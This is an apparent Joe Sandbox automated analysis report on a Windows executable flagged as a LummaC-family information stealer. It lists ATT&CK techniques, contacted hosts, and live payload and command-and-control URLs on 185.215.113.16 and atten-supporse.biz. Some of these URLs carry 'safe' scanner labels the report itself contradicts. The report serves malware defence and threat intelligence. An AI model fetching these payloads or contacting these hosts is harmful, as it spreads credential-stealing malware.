Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	34 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://atten-supporse.biz//	0%	Avira URL Cloud	safe
https://atten-supporse.biz/api7	0%	Avira URL Cloud	safe
https://atten-supporse.biz/Q	0%	Avira URL Cloud	safe
https://atten-supporse.biz//	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
atten-supporse.biz	104.21.16.9	true	false	high
www.google.com	142.250.181.100	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://atten-supporse.biz/api	false		high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_105.6.dr	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_105.6.dr	false		high
https://www.linkedin.com/cws/share?url=$	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/Q	file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Youssef1313	chromecache_105.6.dr	false		high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_86.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_105.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_105.6.dr	false		high
https://atten-supporse.biz//	file.exe, 00000000.00000003.2212159074.000000000537B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279673811.0000000005371000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2211464582.0000000005377000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2214165102.000000000537B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2238295310.0000000005378000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.16/off/def.exez	file.exe, 00000000.00000003.2406676176.0000000000820000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506779993.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_105.6.dr, chromecache_106.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://learn-video.azurefd.net/vod/player	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://github.com/gewarren	chromecache_105.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2214183188.000000000549D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/e	file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://www.mozilla.or	file.exe, 00000000.00000003.2214065175.00000000053A6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_105.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_105.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_105.6.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://polymer.github.io/PATENTS.txt	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://aka.ms/certhelp	chromecache_97.6.dr, chromecache_86.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000003.2406676176.0000000000820000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506779993.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_105.6.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_86.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2214183188.000000000549D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_105.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_105.6.dr	false		high
http://185.215.113.16/	file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://github.com/adegeo	chromecache_105.6.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16:80/off/def.exeicrosoft	file.exe, 00000000.00000003.2416710241.00000000007C1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2212728012.00000000053AA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://octokit.github.io/rest.js/#throttling	chromecache_97.6.dr, chromecache_86.6.dr	false		high
https://atten-supporse.biz/api7	file.exe, 00000000.00000003.2265924815.000000000086E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2279805111.000000000086E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://atten-supporse.biz:443/api	file.exe, 00000000.00000003.2416710241.00000000007C1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_97.6.dr, chromecache_86.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2406676176.0000000000820000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2406591224.0000000000850000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506465781.00000000004FA000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000002.2506779993.00000000007D6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_105.6.dr	false		high
https://atten-supporse.biz/	file.exe, 00000000.00000003.2416710241.00000000007C1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2406624241.000000000082F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://channel9.msdn.com/	chromecache_97.6.dr, chromecache_86.6.dr	false		high
http://crl.microx	file.exe, 00000000.00000003.2406624241.000000000082A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2163463992.00000000053BC000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163332664.00000000053BE000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2163389534.00000000053BC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000003.2214563384.000000000085E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_97.6.dr, chromecache_86.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.63	s-part-0035.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.16.9	atten-supporse.biz	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.6

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565521
Start date and time:	2024-11-30 04:11:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/61@7/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.229.221.95, 93.184.221.240, 172.217.19.227, 74.125.205.84, 23.32.186.57, 172.217.19.238, 2.20.41.214, 34.104.35.123, 172.217.17.74, 172.217.19.170, 172.217.19.234, 142.250.181.10, 142.250.181.42, 142.250.181.74, 142.250.181.106, 172.217.19.202, 172.217.17.42, 216.58.208.234, 142.250.181.138, 2.19.198.56, 23.32.238.130, 172.217.17.35, 172.217.17.78
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, clientservices.googleapis.com, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, client.wns.windows.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, clients.l.google.com, wcpstatic.microsoft.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:12:02	API Interceptor	54x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is commonly used for educational or documentation purposes, which aligns with Microsoft's services." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.63	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	file.exe	Get hash	malicious	LummaC Stealer	Browse
	https://connect-customization-8722.my.site.com/mystore/	Get hash	malicious	HTMLPhisher	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Xmrig	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	185.215.113.16/well/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Xmrig	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
s-part-0035.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	secondaryTask.vbs	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	13.107.246.63
	LauncherPred8.3.389 stablesetup.msi	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	siveria.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	secondaryTask.vbs	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	20.233.83.145
	LauncherPred8.3.389 stablesetup.msi	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	52.168.117.173
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	LummaC Stealer	Browse	13.107.246.63
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.63
CLOUDFLARENETUS	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	saloader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	162.159.129.233
	ONHQNHFT.msi	Get hash	malicious	Unknown	Browse	172.67.141.133
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	104.21.75.163
	file.exe	Get hash	malicious	HackBrowser, Xmrig	Browse	104.16.123.96
	https://thunderstore.io/package/download/Grad/HiddenUnits/1.3.0/	Get hash	malicious	Unknown	Browse	104.26.14.210
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Xmrig	Browse	185.215.113.16
	newtpp.exe	Get hash	malicious	Xmrig	Browse	185.215.113.66
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 23.32.185.164
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 23.32.185.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 23.32.185.164
	win.exe	Get hash	malicious	Chaos	Browse	20.109.210.53 13.107.246.63 23.32.185.164
	secondaryTask.vbs	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	20.109.210.53 13.107.246.63 23.32.185.164
	LauncherPred8.3.389 stablesetup.msi	Get hash	malicious	Clipboard Hijacker, MicroClip, Remcos	Browse	20.109.210.53 13.107.246.63 23.32.185.164
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.109.210.53 13.107.246.63 23.32.185.164
	RezQY7jWu8.exe	Get hash	malicious	XRed	Browse	20.109.210.53 13.107.246.63 23.32.185.164
	https://noisefreqs.com/Ray-verify.html	Get hash	malicious	Unknown	Browse	20.109.210.53 13.107.246.63 23.32.185.164
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	20.109.210.53 13.107.246.63 23.32.185.164
3b5074b1b5d032e5620f69f9f700ff0e	saloader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	20.198.118.190
	file.exe	Get hash	malicious	HackBrowser, Xmrig	Browse	20.198.118.190
	https://thunderstore.io/package/download/Grad/HiddenUnits/1.3.0/	Get hash	malicious	Unknown	Browse	20.198.118.190
	file.exe	Get hash	malicious	LummaC Stealer	Browse	20.198.118.190
	file.exe	Get hash	malicious	Amadey, AsyncRAT, Cryptbot, DcRat, LummaC Stealer, Nymaim, Stealc	Browse	20.198.118.190
	file.exe	Get hash	malicious	Stealerium	Browse	20.198.118.190
	file.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	20.198.118.190
	https://totspotdaynursery.co.uk/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1	Get hash	malicious	Unknown	Browse	20.198.118.190
	file.ps1	Get hash	malicious	LummaC Stealer	Browse	20.198.118.190
	Enquiry.js	Get hash	malicious	AgentTesla	Browse	20.198.118.190
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	ONHQNHFT.msi	Get hash	malicious	Unknown	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
